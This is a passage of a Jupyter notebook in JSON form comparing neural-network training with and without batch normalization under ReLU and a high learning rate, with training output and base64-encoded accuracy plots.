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\nOrsl9u3bR9euXRuOL7vsMjZs2EBNTQ1f/epXue2225g8eTLV1dWMGjWKYcOGMW3aNJ588kkeeOAB\nRISRI0fy1FNPAfDGG2/w4IMPsnXrVn72s581eDWJhEIhJk2axC9+8Qt+8pOfHJS3bt06vvSlL7Fz\n50569uzJY489xnHHHceNN95ITk4O77//Pueeey5FRUWsXbuWNWvWsH79en7xi1/w1ltv8fLLL9Ov\nXz9efPFFwuFw8v+bDsCWuTAMI2n8XDq7OcaPH8/w4cM577zzuOeeexrSH330Ud59913mz5/PlClT\n2LVrF/feey+5ublUVFQwbdo0lixZwj333MPrr7/OggULeOihhxrO37JlC7Nnz+all15i8uTJLer7\njW98g2nTprF378FDXm+99VZuuOEGFi5cyOc///mDjNrGjRuZM2cODz74IACrV6/m9ddfZ/r06Xzh\nC19g/PjxLFq0iNzcXP7+978fwd3vGMxTMIxUpskbfXUKL53dv3//Q8rNmjWLHj16sHr1ai644ALK\nysooKCjgV7/6FS+88AIAmzZt4oMPPqB79+4Hnfv666/z2c9+tmE9psQhypdddhmBQIChQ4eybdu2\nFuUsKiri+uuv51e/+tVB+zXMnTuX559/HoDrrruO733vew15n/3sZw/a6GjixImEw2FGjBhBNBpl\nwoQJgFsvat26dUndr47EjIJhGEdE06WzBwwYwM9//nOKior44he/mFQdR7L0NLh9BEpKSli6dCkH\nDhzg1VdfZe7cueTl5TFu3LijWvraLQvUMrfffjujR49OWreWlr4OBAKEw2FEpOH4WIw7WPeRYRhH\nhF9LZx+O7du3s3btWo4//nj27t1L165dycvLY/ny5Q1LWwOEw+GGrqjzzz+fv/zlL+zatQtwExrb\nQrdu3bjqqqv4/e9/35A2duxYnn76aQCmTZvGuHHj2qraMYcZBcMwjgi/ls5ujvHjxzNq1CjGjx/P\nvffeS0lJCRMmTCASiXDqqacyefLkg5a+njRpEiNHjuTzn/88w4YN4wc/+AHnnXcep512Gt/+9rfb\nrPMdd9xx0Cikhx9+mMcee6wheJ0Yr0h1pDXX6VijtLRU58+f36Zz03W5h9bIRL3TWedly5Zx6qmn\nNpvXEdtxHmtkos5weL2be0ZE5F1VLW2tXvMUDMMwjAbMKBiGYRgNmFEwjBQk1bp9jY7jaJ8NMwqG\n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\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7ffa6b549e80>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "train_and_test(False, 1, tf.nn.relu)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Now we're using ReLUs again, but with a larger learning rate. The plot shows how training started out pretty normally, with the network with batch normalization starting out faster than the other. But the higher learning rate bounces the accuracy around a bit more, and at some point the accuracy in the network without batch normalization just completely crashes. It's likely that too many ReLUs died off at this point because of the high learning rate.\n", "\n", "The next cell shows the same test again. The network with batch normalization performs the same way, and the other suffers from the same problem again, but it manages to train longer before it happens." ] }, { "cell_type": "code", "execution_count": 7, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [01:43<00:00, 485.13it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "Without Batch Norm: After training, final accuracy on validation set = 0.0957999974489212\n" ] }, { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [04:51<00:00, 171.69it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "With Batch Norm: After training, final accuracy on validation set = 0.9851999878883362\n", "---------------------------------------------------------------------------\n", "Without Batch Norm: Accuracy on full test set = 0.09799999743700027\n", "---------------------------------------------------------------------------\n", "With Batch Norm: Accuracy on full test set = 0.984000027179718\n" ] }, { "data": { "image/png": "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\nhY2Nx